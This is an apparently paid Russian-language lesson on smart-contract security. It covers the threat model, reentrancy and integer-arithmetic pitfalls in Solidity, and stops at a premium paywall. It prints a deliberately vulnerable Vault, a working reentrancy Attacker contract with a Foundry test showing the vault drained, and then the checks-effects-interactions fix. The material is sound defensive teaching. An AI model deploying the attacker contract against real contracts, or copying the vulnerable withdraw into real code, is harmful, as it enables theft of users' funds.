Безопасность контрактов: как теряют деньги и как это ловят
Мы научились доказывать, что вычисление проведено по правилам. Но большинство потерь в этой индустрии случилось не из-за сломанной криптографии, а из-за того, что правила были написаны с ошибкой, и всё исполнилось «корректно». Этот урок про типовые классы ошибок, каждая из которых уже стоила кому-то восьмизначной суммы, и про инструменты, которыми их находят раньше атакующего.
Модель угроз: почему тут сложнее, чем в обычном бэкенде
Четыре свойства среды, из-за которых привычные практики не спасают.
Код открыт, и в нём лежат деньги. Атакующий видит твой байткод и знает, сколько на контракте средств. Это не абстрактный риск, а постоянно работающий стимул: сотни людей читают новые контракты именно с этой целью.
Ошибку не откатить. В обычном сервисе баг чинится деплоем. Здесь контракт неизменяем, а если ты сделал его обновляемым, то завёл новый класс уязвимостей (об этом ниже).
Композиция без спроса. Любой контракт может позвать твой, и вызывающий может быть враждебным. Твоя функция обязана оставаться корректной, даже когда её зовут из середины чужой транзакции.
Всё атомарно и мгновенно. Флеш-кредит даёт атакующему на время одной транзакции сумму, которой у него нет, и не требует залога: если в конце транзакции деньги не вернулись, транзакция откатывается целиком. Значит, любое рассуждение вида «у злоумышленника не хватит капитала» в этой среде не работает.
Reentrancy: самая известная и самая живучая
Разберём подробно, потому что это архетип: пока ты не закончил работу, кто-то входит в тебя ещё раз.
Вот банк, в котором можно хранить эфир:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/// Уязвимый банк: сначала отправляет деньги, потом обнуляет баланс.
contract Vault {
mapping(address => uint256) public balanceOf;
function deposit() external payable {
balanceOf[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amount = balanceOf[msg.sender];
require(amount > 0, "nothing to withdraw");
// ВЗАИМОДЕЙСТВИЕ идёт до ИЗМЕНЕНИЯ состояния: вот и вся уязвимость.
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok, "transfer failed");
balanceOf[msg.sender] = 0;
}
}
Логика выглядит безобидно: посчитали, отправили, обнулили. Проблема в строке отправки. Когда получатель это контракт, call передаёт ему управление, и его код исполняется до того, как мы обнулим баланс. А значит, он может позвать withdraw снова, и проверка amount > 0 пройдёт, потому что в хранилище ещё лежит старое число.
Атакующий:
interface IVault {
function deposit() external payable;
function withdraw() external;
function balanceOf(address who) external view returns (uint256);
}
/// Получает эфир и, пока банк считает его вкладчиком, заходит в withdraw ещё раз.
contract Attacker {
IVault private vault;
uint256 private constant DEPOSIT = 1 ether;
constructor(IVault target) payable {
vault = target;
}
function attack() external {
vault.deposit{value: DEPOSIT}();
vault.withdraw();
}
receive() external payable {
// Условие входа: банк всё ещё считает, что нам должен, и деньги есть.
if (vault.balanceOf(address(this)) > 0 && address(vault).balance >= DEPOSIT) {
vault.withdraw();
}
}
}
И тест на Foundry, который показывает результат в цифрах:
function test_vault_is_drained() public {
Vault vault = new Vault();
// В банке лежат чужие 5 эфиров.
vm.deal(alice, 5 ether);
vm.prank(alice);
vault.deposit{value: 5 ether}();
Attacker attacker = new Attacker{value: 1 ether}(IVault(address(vault)));
attacker.attack();
// Атакующий положил 1, унёс 6: банк пуст, деньги Алисы у него.
assertEq(address(vault).balance, 0);
assertEq(address(attacker).balance, 6 ether);
}
Тест зелёный: банк действительно опустошён одной транзакцией.
Лечение стоит одну перестановку строк и называется checks-effects-interactions:
/// Тот же банк по правилу checks-effects-interactions.
contract SafeVault {
mapping(address => uint256) public balanceOf;
function deposit() external payable {
balanceOf[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amount = balanceOf[msg.sender]; // checks
require(amount > 0, "nothing to withdraw");
balanceOf[msg.sender] = 0; // effects
(bool ok, ) = msg.sender.call{value: amount}(""); // interactions
require(ok, "transfer failed");
}
}
Тот же атакующий против этого банка не забирает ничего: к моменту передачи управления его баланс уже ноль.
function test_safe_vault_survives() public {
SafeVault vault = new SafeVault();
vm.deal(alice, 5 ether);
vm.prank(alice);
vault.deposit{value: 5 ether}();
Attacker attacker = new Attacker{value: 1 ether}(IVault(address(vault)));
attacker.attack();
// Баланс обнулён ДО отправки, повторный вход не сработал.
assertEq(address(vault).balance, 5 ether);
assertEq(address(attacker).balance, 1 ether);
assertEq(vault.balanceOf(alice), 5 ether);
}
Три уточнения, без которых картина неполная.
Повторный вход бывает не в ту же функцию. Классический замок защищает одну функцию, но атакующий может войти в другую, которая читает то же самое устаревшее состояние. Поэтому замок ставят на группу функций, работающих с общим состоянием.
Бывает повторный вход через чтение. Функция может вообще ничего не менять, а лишь возвращать цену или курс. Если её вызовут в момент, когда состояние пула наполовину обновлено, она вернёт честную с виду, но неверную величину, и уже на неё положится другой протокол. Так теряли деньги несколько кредитных площадок.
Токены передают управление. У популярных стандартов есть хуки, которые уведомляют получателя о переводе, и это тоже точка передачи управления. Перевод токена в общем случае небезопаснее, чем перевод эфира.
Арифметика: переполнение никуда не делось
Начиная с Solidity 0.8 обычная арифметика проверяется и при переполнении откатывает транзакцию, поэтому классический баг «баланс минус один превратился в огромное число» ушёл из типового кода. Но остались три двери.
Первая: блок unchecked, который ставят ради экономии газа. Внутри него проверок нет, и рассуждать о границах снова обязан человек.
Вторая: приведение к меньшему типу. Преобразование большого числа в короткий тип молча отбрасывает старшие биты, потому что это не арифметика, а приведение.
Третья, самая частая: округление. Целочисленное деление всегда вниз, и порядок операций решает, кому достанется остаток. Умножай до деления, а не после, и всегда проверяй, в чью пользу округляется результат. Атака на многие хранилища доходности сводилась ровно к тому, что округление шло в пользу атакующего, а не протокола.
премиум-урок
Продолжение в премиуме: 1 200 ₽ в месяц или 10 000 ₽ в год. Вместе с ним серверные проверки задач и школьные токены AI-коуча.
Оплата пока не подключена: премиум и курсы открываются промокодом.